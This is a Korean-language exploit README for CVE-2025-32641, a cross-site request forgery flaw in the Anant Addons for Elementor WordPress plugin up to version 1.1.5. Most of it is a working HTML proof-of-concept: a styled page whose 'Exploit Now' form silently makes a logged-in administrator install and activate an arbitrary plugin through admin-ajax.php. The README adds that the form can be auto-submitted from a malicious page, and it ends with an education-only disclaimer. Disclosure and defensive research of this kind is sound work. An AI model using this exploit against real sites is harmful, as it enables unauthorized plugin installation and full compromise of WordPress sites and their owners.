🛡️ Anant Addons for Elementor <= 1.1.5 - CSRF를 통한 임의 플러그인 설치

🧨 CVE-2025-32641

anantaddons의 Anant Addons for Elementor 내 교차 사이트 요청 위조(CSRF) 취약점
이 문제는 다음 버전에 영향을 미칩니다: 알 수 없는 버전부터 1.1.5까지

기본 점수: 9.6 (CRITICAL)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

🔍 설명

이 취약점은 인증되지 않은 공격자가 로그인한 관리자가 인지하지 못한 상태에서 임의 플러그인 설치를 수행할 수 있게 합니다.
악성 페이지나 양식을 제작함으로써, 공격자는 관리자가 WordPress 저장소에서 임의의 플러그인을 설치하고 활성화하도록 조용히 강제할 수 있습니다.

💥 영향

✅ 임의 플러그인 설치
✅ 플러그인 활성화
❌ nonce 또는 CSRF 보호 없음
✅ 간단한 HTML 페이지로 악용 가능
⚠️ 관리자가 로그인 상태에서 악성 페이지를 열어야 함

🧪 HTML 개념 증명(PoC)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Anant Addons for Elementor <= 1.1.5 CSRF Exploit</title>
  <style>
    body {
      background-color: #111;
      color: #0f0;
      font-family: monospace;
      padding: 40px;
    }
    h1 {
      color: #ff0055;
      font-size: 24px;
      border-bottom: 1px solid #555;
      padding-bottom: 10px;
    }
    .box {
      background-color: #222;
      border: 1px solid #444;
      padding: 20px;
      margin-top: 20px;
    }
    input[type="submit"] {
      background-color: #ff0055;
      color: #fff;
      border: none;
      padding: 10px 20px;
      font-weight: bold;
      cursor: pointer;
    }
    input[type="submit"]:hover {
      background-color: #cc0044;
    }
  </style>
</head>
<body>

  <h1>
    Anant Addons for Elementor <= 1.1.5<br>
    CSRF to Arbitrary Plugin Installation Vulnerability
  </h1>

  <div class="box">
    <p># By: <strong>Nxploited | Khaled Alenazi</strong></p>
    <p># Type: <strong>CSRF (No Nonce Validation)</strong></p>
    <p># Impact: <strong>Unauthenticated attacker can force admin to install and activate arbitrary WordPress plugins</strong></p>
  </div>

  <form action="http://192.168.100.74:888/wordpress/wp-admin/admin-ajax.php?action=install_act_plugin" method="POST" class="box">
    <input type="hidden" name="plugs" value="hello-dolly">
    <p>🎯 Click the button below to trigger plugin installation (admin session must be active):</p>
    <input type="submit" value="Exploit Now">
  </form>

</body>
</html>

🎯 로그인한 관리자가 이 양식을 클릭하면(또는 악성 페이지에서 자동으로 제출되면) 플러그인이 조용히 설치되고 활성화됩니다.

⚠️ 면책 조항

이 저장소와 콘텐츠는 교육 및 보안 연구 목적으로만 제공됩니다.
저자는 이 정보의 부적절한 사용으로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
항상 소유하거나 테스트 허가를 명시적으로 받은 시스템에서만 테스트를 수행하십시오.

by: Nxploited | Khaled ALenazi

CVE-2025-32641